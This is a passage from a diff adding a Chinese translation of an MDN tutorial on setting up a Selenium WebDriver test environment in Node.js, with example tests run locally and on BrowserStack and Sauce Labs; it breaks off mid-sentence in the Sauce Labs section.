+++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html @@ -0,0 +1,641 @@ +--- +title: Setting up your own test automation environment +slug: Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">在这篇文章中,我们将教会您如何安装自己的自动化测试环境,并使用Selenium/WebDriver,和一种测试库(比如:selenium-webdriver for Node)运行自己的测试。我们还将着眼于如何将本地测试环境与上一篇文章中讨论的商业工具集成在一起。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages; an idea of the high level <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principles of cross browser testing</a>, and <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">automated testing</a>.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To show how to set up a Selenium testing environment locally and run tests with it, and how to integrate it with tools like Sauce Labs and BrowserStack.</td> + </tr> + </tbody> +</table> + +<h2 id="Selenium">Selenium</h2> + +<p><a href="http://www.seleniumhq.org/">Selenium</a>是最流行的浏览器自动化测试工具。最易使用的方法是使用基于Selenium的WebDriver API,它通过调用浏览器接口实现自动化,执行诸如“打开网页”、“移动网页上的元素”、“点击链接”、“查看链接是否打开URL”等。对于运行自动化测试来说是一个十分理想的方法。</p> + +<p>安装和使用WebDriver的方式取决于你的编程环境。常见的环境都提供有安装WebDriver的包或框架,并且支持与WebDriver通信的多语言绑定,如 Java, C#, Ruby, Python, JavaScript (Node)等。查看<a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#setting-up-a-selenium-webdriver-project">建立一个Selenium-WebDriver的工程</a>了解Selenium在不同语言下建立的更多细节。</p> + +<p>不同的浏览器需要使用不同的驱动,来使WebDriver能够与浏览器交互并控制浏览器。查看<a href="http://www.seleniumhq.org/about/platforms.jsp">支持Selenium的平台</a>来了解获取浏览器驱动的信息。</p> + +<p>我们将使用Node.js来编写和运行Selenium测试用例。Node.js是一个前端开发者都很熟悉,并且容易上手的开发环境。</p> + +<div class="note"> +<p><strong>注意</strong>: 如果你需要了解在其他服务器端环境下使用WebDriver的方式,也可以点击<a href="http://www.seleniumhq.org/about/platforms.jsp">支持Selenium的平台</a>来获取更多有用的链接。</p> +</div> + +<h3 id="在Node下建立Selenium">在Node下建立Selenium</h3> + +<ol> + <li>参考上一个章节<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Setting_up_Node_and_npm">创建Node和npm</a>,创建一个新的npm工程,取一个不同的名字, 如<code>selenium-test</code>.</li> + <li>接下来,我们需要安装一个框架来允许我们从Node中运行Selenium。我们选择selenium官方提供的 <a href="https://www.npmjs.com/package/selenium-webdriver">selenium-webdriver</a>, 它的文档更新得很好,维护得也很好。如果你想要其它的选择, <a href="http://webdriver.io/">webdriver.io</a> 和 <a href="http://nightwatchjs.org/">nightwatch.js</a>也都不错。要安装 selenium-webdriver,在你的工程目录下运行如下命令: + <pre class="brush: bash"><code>npm install selenium-webdriver</code></pre> + </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 即使你已经安装过 selenium-webdriver并下载了浏览器驱动,我们仍然建议你按照步骤再来一遍,确定所有东西都是最新的。</p> +</div> + +<p>接下来,你需要下载相应的驱动,使WebDriver能控制你需要测试的浏览器. 在<a href="https://www.npmjs.com/package/selenium-webdriver">selenium-webdriver</a> (第一部分的表格)页面查看如何下载。 显然,有的浏览器是OS定制的,我们将使用 Firefox 和 Chrome, 它们在主流的OS下都支持。</p> + +<ol> + <li>下载最新版本的 <a href="https://github.com/mozilla/geckodriver/releases/">GeckoDriver</a> ( Firefox) 和 <a href="http://chromedriver.storage.googleapis.com/index.html">ChromeDriver</a> 驱动.</li> + <li>将它们解压到一个简单的目录下,如用户根目录。</li> + <li>把 <code>chromedriver</code> 和 <code>geckodriver</code> 驱动的目录添加到你的系统 <code>PATH</code> 变量。这应该是从你的硬盘根目录开始的一个绝对路径。举个例子,如果我们使用的是一个 Mac OS X 机器, 用户名为 bob, 我们把驱动放到了用户的根目录下,那这个路径就是 <code>/Users/bob</code>。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 重申一下,添加到 <code>PATH</code> 的路径是到包含驱动的那一级目录,而不是驱动目录自身! 这是一个常犯的错误。</p> +</div> + +<p>在Mac OS X或大多数Linux 系统中设置<code>PATH</code> 变量的操作如下:</p> + +<ol> + <li>打开 <code>.bash_profile</code> (或 <code>.bashrc</code>) 文件 (如果看不到隐藏文件, 需要将它们显示出来, 查看<a href="http://ianlunn.co.uk/articles/quickly-showhide-hidden-files-mac-os-x-mavericks/"> Mac OSX 显示/隐藏文件</a> 或 <a href="http://askubuntu.com/questions/470837/how-to-show-hidden-folders-in-ubuntu-14-04">Ubuntu 显示隐藏文件夹</a>)。</li> + <li>把下面语句粘贴到文件的最后 (就像平常在机器上更新path): + <pre class="brush: bash">#Add WebDriver browser drivers to PATH + +export PATH=$PATH:/Users/bob</pre> + </li> + <li>保存并关闭文件, 然后重启命令终端以生效Bash的配置。</li> + <li>在命令终端上敲下面命令,查看新的路径是否已经添加到 <code>PATH</code> 变量中: + <pre class="brush: bash">echo $PATH</pre> + </li> + <li>你应该可以在打印出来的信息中找到。</li> +</ol> + +<p>在Windows下设置 <code>PATH</code> 变量, 参考 <a href="http://windowsitpro.com/systems-management/how-can-i-add-new-folder-my-system-path">如何添加一个新的文件目录到系统路径?</a></p> + +<p>OK,现在我们来做一个快速的测试来验证一下一切是否正常。</p> + +<ol> + <li>在你的工程目录下创建一个新的文件<code>google_test.js</code>:</li> + <li>将下面代码复制到文件中保存: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver = new webdriver.Builder() + .forBrowser('firefox') + .build(); + +driver.get('http://www.google.com'); + +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>在终端上,记住在你的工程目录下,输入如下命令: + <pre class="brush: bash">node google_test</pre> + </li> +</ol> + +<p>你会看到Firefox自动打开了一个窗口!Google自动加载到tab中,"webdriver" 被输入到搜索框,然后搜索按钮被点击。WebDriver 等待2秒; 然后获取文本标题, 如果标题是"webdriver - Google Search", 将返回测试成功的消息。然后WebDriver 关闭 Firefox 窗口并结束。</p> + +<h2 id="一次测试多个浏览器">一次测试多个浏览器</h2> + +<p>接下来,让我们来试一下同时在多个浏览器上进行测试。这也是你经常碰到的情况!</p> + +<ol> + <li>在你的工程目录下创建另外一个新文件<code>google_test_multiple.js</code>.你可以根据实际需要测试的浏览器情况,对我们添加的浏览器进行修改或删除等操作。但确保系统安装了正确的浏览器驱动。关于如何填写<code>.forBrowser()</code> 方法中对浏览器描述的字符串,请参考 <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/index_exports_Browser.html">Browser enum</a> .</li> + <li>将下面代码复制到文件中保存: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver_fx = new webdriver.Builder() + .forBrowser('firefox') + .build(); + +var driver_chr = new webdriver.Builder() + .forBrowser('chrome') + .build(); + +searchTest(driver_fx); +searchTest(driver_chr); + +function searchTest(driver) { + driver.get('http://www.google.com'); + driver.findElement(By.name('q')).sendKeys('webdriver'); + + driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); + }); + + driver.findElement(By.name('btnK')).click(); + + driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); + }); + + driver.quit(); +}</pre> + </li> + <li>在终端上,记住在你的工程目录下,输入如下命令: + <pre class="brush: bash">node google_test_multiple</pre> + </li> + <li>如果你用的是Mac测试Safari,可能会产生一个错误信息: "Could not create a session: You must enable the 'Allow Remote Automation' option in Safari's Develop menu to control Safari via WebDriver." 如果是这样,根据指示重新尝试一遍。</li> +</ol> + +<p>现在,我们像上次一样完成了测试,这一次浏览器的测试代码放到了<code>searchTest()</code>函数中。我们对多个浏览器创建了新的浏览器实例,然后将每一个实例传递给函数,这样就可以在3个浏览器下执行测试!</p> + +<p>有意思吧? 接下来我们继续,来了解一下WebDriver 的语法基础。</p> + +<h2 id="WebDriver语法速成课程">WebDriver语法速成课程</h2> + +<p>现在我们来看一下webdriver的一些关键语法。更完整的细节,可以参考<a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/">selenium-webdriver JavaScript API 参考</a> , 以及 Selenium 主要的文档<a href="http://www.seleniumhq.org/docs/03_webdriver.jsp">Selenium WebDriver</a> 和 <a href="http://www.seleniumhq.org/docs/04_webdriver_advanced.jsp">WebDriver: 高级使用手册</a> , 里面有用不同语言编写的丰富的学习示例。</p> + +<h3 id="启动一个新的测试">启动一个新的测试</h3> + +<p>要启动一次新的测试,你需要包含如下的<code>selenium-webdriver</code> 代码模块:</p> + +<pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until;</pre> + +<p>接下来, 通过 <code>new webdriver.Builder()</code> 构造器来创建一个新的驱动实例,通过<code>forBrowser()</code> 方法指定测试的浏览器类型,最后调用 <code>build()</code> 来实际创建它。 (查看 <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/index_exports_Builder.html">Builder class reference</a> 了解更多).</p> + +<pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox') + .build();</pre> + +<p>在<code>forBrowser()</code> 中,你还可以设置浏览器的更多配置选项,如版本和操作系统:</p> + +<pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox', '46', 'MAC') + .build();</pre> + +<p>你还可以通过设置环境变量的方式来配置这些选项,如:</p> + +<pre class="brush: bash"><code>SELENIUM_BROWSER=firefox:46:MAC</code></pre> + +<p>让我们来创建一个新的测试验证一下。在你的 selenium 测试工程目录下, 新建一个文件 <code>quick_test.js</code>, 将下面代码赋值进去:</p> + +<pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver = new webdriver.Builder() + .forBrowser('firefox') + .build();</pre> + +<h3 id="获取测试的document">获取测试的document</h3> + +<p>通过刚创建的驱动实例的 <code>get()</code> 方法,加载你需要测试的网页:</p> + +<pre class="brush: js"><span class="nx">driver</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'http://www.google.com'</span><span class="p">);</span></pre> + +<div class="note"> +<p><span class="p"><strong>注意</strong>: 可以查看 <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/webdriver_exports_WebDriver.html">WebDriver class reference</a> 了解这一部分提到内容的详情。</span></p> +</div> + +<p>你可以使用包含<code>file://</code> 的 URL 来指向需要测试的本地文件:</p> + +<pre class="brush: js">driver.get('file:///Users/chrismills/git/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html');</pre> + +<p>或</p> + +<pre class="brush: js">driver.get('http://localhost:8888/fake-div-buttons.html');</pre> + +<p>使用一个远程的服务器地址代码会更灵活 — 当你启用远程服务器运行测试时,如果企图使用本地路径,代码会中断。 </p> + +<p>现在添加下面代码到<code>quick_test.js</code> 的最后:</p> + +<pre class="brush: js">driver.get('http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html');</pre> + +<h3 id="同document交互">同document交互</h3> + +<p>得到测试的 document 后,我们就需要同它进行交互操作了,比如获取特定的元素对它进行某种测试。WebDriver提供了<a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#locating-ui-elements-webelements">通过多种方法选择UI元素</a>,比如通过 ID, class, element name等等. 具体的选择通过 <code>findElement()</code> 方法完成, 只需要将选择的元素作为参数传给它即可. 举例来说, 通过ID选择一个元素:</p> + +<pre class="brush: js"><span class="kd">var</span> <span class="nx">element</span> <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">id</span><span class="p">(</span><span class="s1">'myElementId'</span><span class="p">));</span></pre> + +<p>通过CSS查找一个元素的最常用方法是使用 By.css 方法,它可以通过CSS选择器的方式来选择元素。把下面代码敲到 <code>quick_test.js</code> 的最后面:</p> + +<pre class="brush: js"><span class="kd">var</span> <span class="nx">button</span> <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">css</span><span class="p">(</span><span class="s1">'</span>button:nth-of-type(1)<span class="s1">'</span><span class="p">));</span></pre> + +<h3 id="测试element"><span class="p">测试element</span></h3> + +<p><span class="p">同 web documents 和 elements 交互的方式很多. 在</span>WebDriver的文档中有很多常用的例子,你可以从<a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#getting-text-values">获取文本值</a>开始。</p> + +<p>比如获取button上的文本,可以这样操作:</p> + +<pre class="brush: js">button.getText().then(function(text) { + console.log('Button text is \'' + text + '\''); +});</pre> + +<p>把这段代码也添加到 <code>quick_test.js</code> 中.</p> + +<p>在你的工程目录下,运行测试:</p> + +<pre class="brush: bash"><span class="p">node quick_test.js</span></pre> + +<p><span class="p">你可以看到button的文本标签打印到控制台。</span></p> + +<p><span class="p">现在进一步尝试一下。将上面输入的代码删除,然后添加下面的这行代码:</span></p> + +<pre class="brush: js">button.click();</pre> + +<p>重新运行测试;button被点击,你会看到alert()框弹出来,这样就知道button是正常工作的。</p> + +<p>你还可以与弹出框进行交互。将下面代码添加到代码最后,再运行一下测试:</p> + +<pre class="brush: js">var alert = driver.switchTo().alert(); + +alert.getText().then(function(text) { + console.log('Alert text is \'' + text + '\''); +}); + +alert.accept();</pre> + +<p>接下来, 我们试一下在表单的一个元素中输入文本。添加如下代码并运行测试:</p> + +<pre class="brush: js"><span class="kd">var</span> input <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">id</span><span class="p">(</span><span class="s1">'input1'</span><span class="p">)); +input.</span>sendKeys('Filling in my form');</pre> + +<p>你可以提交一些使用常规<code>webdriver.Key</code>属性不能代表的按键操作。举个例子,下面我们使用指令在提交前将tab从input移走:</p> + +<pre class="brush: js">driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); +</pre> + +<h3 id="等待操作完成">等待操作完成</h3> + +<p>有时候,在进行下一步处理之前我们需要WebDriver等待一些操作完成。比如装载一个新的页面,在与页面元素交互之前,需要等待DOM完成加载,否则测试有可能会失败.</p> + +<p>例如在 <code>google_test.js</code> 中, 有这样一段代码块:</p> + +<pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +});</pre> + +<p><code>sleep()</code> 方法的参数指明需要等待的毫秒时间 — 然后在时间完成时,调用<code>then()</code> 内的代码块. 在这里例子中,我们通过<code>getTitle()</code>方法获得当前页面的title,然后根据title的值返回成功或失败的消息.</p> + +<p>添加一个 <code>sleep()</code> 方法到我们的 <code>quick_test.js</code> 中 — 将最后的代码修改成如下代码块:</p> + +<pre class="brush: js">driver.sleep(2000).then(function() { + input.sendKeys('Filling in my form'); + input.getAttribute("value").then(function(value) { + if(value !== '') { + console.log('Form input editable'); + } + }); +});</pre> + +<p>WebDriver 等待2秒然后填充表单的文本框. 接下来我们使用<code>getAttribute()</code>获取它的<code>value</code>属性值,并对它进行测试(如是否为空),最后将测试结果打印出来.</p> + +<div class="note"> +<p><strong>注意</strong>: 还有一个方法叫 <code><a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/webdriver_exports_WebDriver.html#wait">wait()</a></code>, 它是在一定的时间内对某个条件进行反复测试,然后再继续执行代码,它也使用了 <a href="https://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/until.html">util 库</a>, 其中定义了使用<code>wait()的常见条件</code>.</p> +</div> + +<h3 id="使用后关闭驱动">使用后关闭驱动</h3> + +<p>完成一次测试后,需要关闭所有打开的驱动实例,确保你的机器上不会出现一堆泛滥的浏览器实例。只需要调用驱动实例的 <code>quit()</code> 方法即可。现在将下面这行代码添加到你的 <code>quick_test.js</code> 最后:</p> + +<pre class="brush: js"><span class="nx">driver</span><span class="p">.</span><span class="nx">quit</span><span class="p">();</span></pre> + +<p><span class="p">运行测试文件,这次你会看到在测试执行完毕后浏览器被关掉了。这很有用,如果你不希望电脑被一堆浏览器实例搞挂。</span></p> + +<h2 id="测试最佳实践">测试最佳实践</h2> + +<p>有很多编写最佳测试的实践方法,你可以参考<a href="http://www.seleniumhq.org/docs/06_test_design_considerations.jsp">测试设计考虑</a>来了解一些背景. 总的来说,测试应该遵循如下几点:</p> + +<ol> + <li>使用好的定位策略: 当你同document交互时,确保你使用的定位器和页面对象是不变的 — 如对元素进行测试, 确保这个元素有固定的ID或页面位置,这样可以通过CSS选择器定位到它,不至于在下一个迭代就发生变化。尽可能让你的测试稳健,而不是有一点改动就会break。</li> + <li>写原子测试: 一个测试只测一件事,这样有利于跟踪哪一个测试文件执行的是哪种测试。举例来说, 前面的<code>google_test.js</code> 就只测试了一个简单的用例 — 页面的搜索结果标题是否正确。我们可以给它改一个名字,这样当我们添加更多的测试文件时它的作用会更直观 ,比如改为 <code>results_page_title_set_correctly.js</code> 。</li> + <li>写独立的测试:每一个测试只需要自己执行,不需要依赖其它的测试。</li> +</ol> + +<p>除此之外,我们还要提一下测试结果/测试报告 — 在前面的例子中,我们只是简单的把测试结果通过 <code>console.log()</code> 语句打印出来,这个完全只在JavaScript中完成, 你可以使用任何你想要的测试运行和报告系统,如<a href="https://mochajs.org/">Mocha</a>/<a href="http://chaijs.com/">Chai</a>/或者其它的组合。</p> + +<ol> + <li>举个例子, 将 <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/selenium/mocha_test.js">mocha_test.js</a></code> 拷贝到你的工程目录下. 把它放到一个叫做 <code>test</code>的子文件夹内,这个例子使用了一长串的promise来执行测试的所有步骤 — WebDriver 使用这些基于 promise 的方法保证正常工作.</li> + <li>执行下面的命令在你的工程目录下安装mocha测试工具: + <pre class="brush: bash">npm install --save-dev mocha</pre> + </li> + <li>然后通过下面的命令运行测试(所有你放到test目录下的测试): + <pre class="brush: bash">mocha --no-timeouts</pre> + </li> + <li>使用<code>--no-timeouts</code> 参数确保测试不会因Mocha的3秒超时时限而中途失败退出。 </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: <a href="https://github.com/saucelabs-sample-test-frameworks">saucelabs-sample-test-frameworks</a> 中包含了一些关于如何设置不同测试/断言工具组合的有用示例。</p> +</div> + +<h2 id="运行远程测试">运行远程测试</h2> + +<p>在远端服务器上运行测试并不比在本地执行测试要困难多少,只需要在创建驱动实例的时候多配置几个特征参数,如测试的浏览器类型、服务器地址和用户权限(如果需要) 就可以。</p> + +<h3 id="BrowserStack">BrowserStack</h3> + +<p>在BrowserStack 进行Selenium远程测试很简单,参考下面的代码示例:</p> + +<ol> + <li>在你的工程目录下, 新建一个文件<code>bstack_google_test.js</code>.</li> + <li>复制下面内容: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +// Input capabilities +var capabilities = { + 'browserName' : 'Firefox', + 'browser_version' : '56.0 beta', + 'os' : 'OS X', + 'os_version' : 'Sierra', + 'resolution' : '1280x1024', + 'browserstack.user' : '<code>YOUR-USER-NAME</code>', + 'browserstack.key' : '<code>YOUR-ACCESS-KEY</code>', + 'browserstack.debug' : 'true', + 'build' : 'First build' +}; + +var driver = new webdriver.Builder(). + usingServer('http://hub-cloud.browserstack.com/wd/hub'). + withCapabilities(capabilities). + build(); + +driver.get('http://www.google.com'); +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>在 <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a>, 获取你的用户名和Key (查看 <em>Username 和 Access Keys</em>),替换代码中 <code>YOUR-USER-NAME</code> 和<code>YOUR-ACCESS-KEY</code> 的对应值。(确保它们依然安全).</li> + <li>执行下面命令: + <pre class="brush: bash">node bstack_google_test</pre> + 测试被发送给 BrowserStackces, 测试结果会返回到你的控制台. 这体现了包含报告机制的重要性!</li> + <li>现在回到 <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a> 页面, 你会看到测试列出来的结果:<br> + <img alt="" src="https://mdn.mozillademos.org/files/15383/bstack_automated_results.png" style="border-style: solid; border-width: 1px; display: block; height: 189px; margin: 0px auto; width: 700px;"></li> +</ol> + +<p>点击测试链接, 会打开一个屏幕播放记录了测试的视频,和在测试过程中相关的log详情。</p> + +<div class="note"> +<p><strong>Note</strong>: Browserstack 自动化仪表盘的Resources菜单选项上 提供了许多运行自动化测试的有用信息。查看 <a href="https://www.browserstack.com/automate/node">关于 Node JS编写自动化测试的文档</a> 获取相关信息. 研究一下使用 BrowserStack可以帮你做到哪些事情.</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 如果你不想自己写测试用例,可以使用docs中嵌入的生成器, 查看 <a href="https://www.browserstack.com/automate/node#run-tests-on-mobile">在手机浏览器上运行测试</a>和<a href="https://www.browserstack.com/automate/node#setting-os-and-browser">在桌面浏览器上运行测试</a>.</p> +</div> + +<h4 id="编程填充_BrowserStack_的测试详情">编程填充 BrowserStack 的测试详情</h4> + +<p>使用BrowserStack REST API 和其它功能可以给测试添加更多详情,如测试是否通过,为什么通过,测试属于工程的哪个部分等,BrowserStack 默认并没有这些细节!</p> + +<p>让我们来更新一下 <code>bstack_google_test.js</code> 示例,看看它们是怎样运作的:</p> + +<ol> + <li>首先, 导入node 需要的模块, 用来发送requests 给 REST API.在代码的顶端添加如下语句: + <pre class="brush: js">var request = require("request");</pre> + </li> + <li>现在更新一下 <code>capabilities</code> 对象,添加工程名 — 在右大括号前添加下面代码, 记得要在上一行末增加一个逗号(在 BrowserStack 自动化仪表盘上,你可以修改 build 和 project 名称来组织不同窗口下的测试): + <pre class="brush: js">'project' : 'Google test 2'</pre> + </li> + <li>接下来获取当前会话的 <code>sessionId</code> , 就知道往哪儿发送 request ( 后面你会看到,ID 包含在request 的URL中). 将下面代码添加到创建 <code>driver</code> 对象 (<code>var driver ...</code>) 的代码块下面: + <pre class="brush: js">var sessionId; + +driver.session_.then(function(sessionData) { + sessionId = sessionData.id_; +});</pre> + </li> + <li>最后, 修改下面 <code>driver.sleep(2000)</code> ... 的代码,添加 REST API 调用 (同样,使用你的真实用户名和key替换 <code>YOUR-USER-NAME</code> 和<code>YOUR-ACCESS-KEY</code> 的值): + <pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + request({uri: "https://<code>YOUR-USER-NAME</code>:<code>YOUR-ACCESS-KEY</code>@www.browserstack.com/automate/sessions/" + sessionId + ".json", method:"PUT", form:{"status":"passed","reason":"Google results showed correct title"}}); + } else { + console.log('Test failed'); + request({uri: "https://<code>YOUR-USER-NAME</code>:<code>YOUR-ACCESS-KEY</code>@www.browserstack.com/automate/sessions/" + sessionId + ".json", method:"PUT", form:{"status":"failed","reason":"Google results showed wrong title"}}); + } + }); +});</pre> + </li> +</ol> + +<p>代码很直观 — 测试一完成, 就会发送一个 API 调用到 BrowserStack 来更新测试状态是通过还是完成,并且给出相关的原因。</p> + +<p>现在回到 <a href="https://www.browserstack.com/automate">BrowserStack 自动化仪表盘</a> 页面, 你会看到测试会话如之前一样正常运行,并且增加了更新的数据:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15385/bstack_custom_results.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<h3 id="Sauce_Labs">Sauce Labs</h3> + +<p>在Sauce Labs 远程运行Selenium测试与在BrowserStack一样简单, 尽管它们有一些语法的差异. 代码示例如下:</p> + +<ol> + <li>在你的工程目录下, 新建一个文件 <code>sauce_google_test.js</code>.</li> + <li>复制下面内容: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until, + username = "YOUR-USER-NAME", + accessKey = "YOUR-ACCESS-KEY"; + +var driver = new webdriver.Builder() + .withCapabilities({ + 'browserName': 'chrome', + 'platform': 'Windows XP', + 'version': '43.0', + 'username': username, + 'accessKey': accessKey + }) + .usingServer("https://" + username + ":" + accessKey + + "@ondemand.saucelabs.com:443/wd/hub") + .build(); + +driver.get('http://www.google.com'); + +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>从你的 <a href="https://saucelabs.com/beta/user-settings">Sauce Labs 用户设置</a>, 获取你的用户名和key. 并替换代码中对于 <code>YOUR-USER-NAME</code> 和<code>YOUR-ACCESS-KEY</code> 的值 (确保它们依然安全).</li> + <li>执行如下命令运行测试: + <pre class="brush: bash">node sauce_google_test</pre> + 测试会被发送到, 并返回相应的测试结果到你的控制台. 这体现了包含报告机制的重要性!</li> + <li>现在访问你的 <a href="https://saucelabs.com/beta/dashboard/tests">Sauce Labs 自动化测试仪表盘</a> 页面, 会看到列出的测试; 同样你也可以看到视频、截屏和其他类似的数据。<br> + <img alt="" src="https://mdn.mozillademos.org/files/14235/sauce_labs_automated_test.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: Sauce Labs' <a href="https://wiki.saucelabs.com/display/DOCS/Platform+Configurator/#/">Platform Configurator</a> is a useful tool for generating capability objects to feed to your driver instances, based on what browser/OS you want to test on.</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 你可以查看 <a href="https://wiki.saucelabs.com/display/DOCS/Getting+Started+with+Selenium+for+Automated+Website+Testing">使用 Selenium 进行Web自动化测试</a>, 和 <a href="https://wiki.saucelabs.com/display/DOCS/Instant+Selenium+Node.js+Tests">实时 Selenium Node.js 测试</a>获取更多关于Sauce Labs和Selenium测试的有用信息。</p> +</div> + +<h4 id="编程填充_Sauce_Labs_的测试详情">编程填充 Sauce Labs 的测试详情</h4> + +<p>使用Sauce Labs API 可以给测试添加更多详情,如测试是否通过,测试名称等等,Sauce Labs 默认并没有这些细节!</p> + +<p>示例如下:</p> + +<ol> + <li>安装 Node Sauce Labs 套件 (如果你之前没有运行过): + <pre class="brush: bash"><code class="language-html">npm install saucelabs --save-dev</code></pre> + </li> + <li>Require saucelabs — 在 <code>sauce_google_test.js</code> 文件顶端, 就在之前的变量声明下面添加如下代码: + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> SauceLabs <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'saucelabs'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> + <li>接着添加如下代码,创建一个新的SauceLabs实例: + <pre class="brush: js">var saucelabs = new SauceLabs({ + username : "YOUR-USER-NAME", + password : "YOUR-ACCESS-KEY" +});</pre> + 同样, 用真实的用户名和key来替换<code>YOUR-USER-NAME</code> 和 <code>YOUR-ACCESS-KEY</code> 的值 (注意 saucelabs 的npm 包使用的是 <code>password</code>, 而不是<code>accessKey</code>). Since you are using these twice now, you may want to create a couple of helper variables to store them in.</li> + <li>在 <code>driver</code> 变量定义的下方(就在 <code>build()</code> 行后面), 添加下面代码块 — 获取正确的驱动 <code>sessionID</code> 来将数据写入进程 (在后面的代码中操作): + <pre class="brush: js">driver.getSession().then(function (sessionid){ + driver.sessionID = sessionid.id_; +});</pre> + </li> + <li>最后,将代码末尾的 replace the <code>driver.sleep(2000)</code> ... 替换如下: + <pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + var testPassed = true; + } else { + console.log('Test failed'); + var testPassed = false; + } + + saucelabs.updateJob(driver.sessionID, { + name: 'Google search results page title test', + passed: testPassed + }); + }); +});</pre> + </li> +</ol> + +<p>这里,我们根据测试结果是通过或失败,将 <code>testPassed</code> 变量设置为<code>true</code> 或 <code>false</code> , 然后使用 <code>saucelabs.updateJob()</code> 方法来更新详情。</p> + +<p>回到 <a href="https://saucelabs.com/beta/dashboard/tests">Sauce Labs 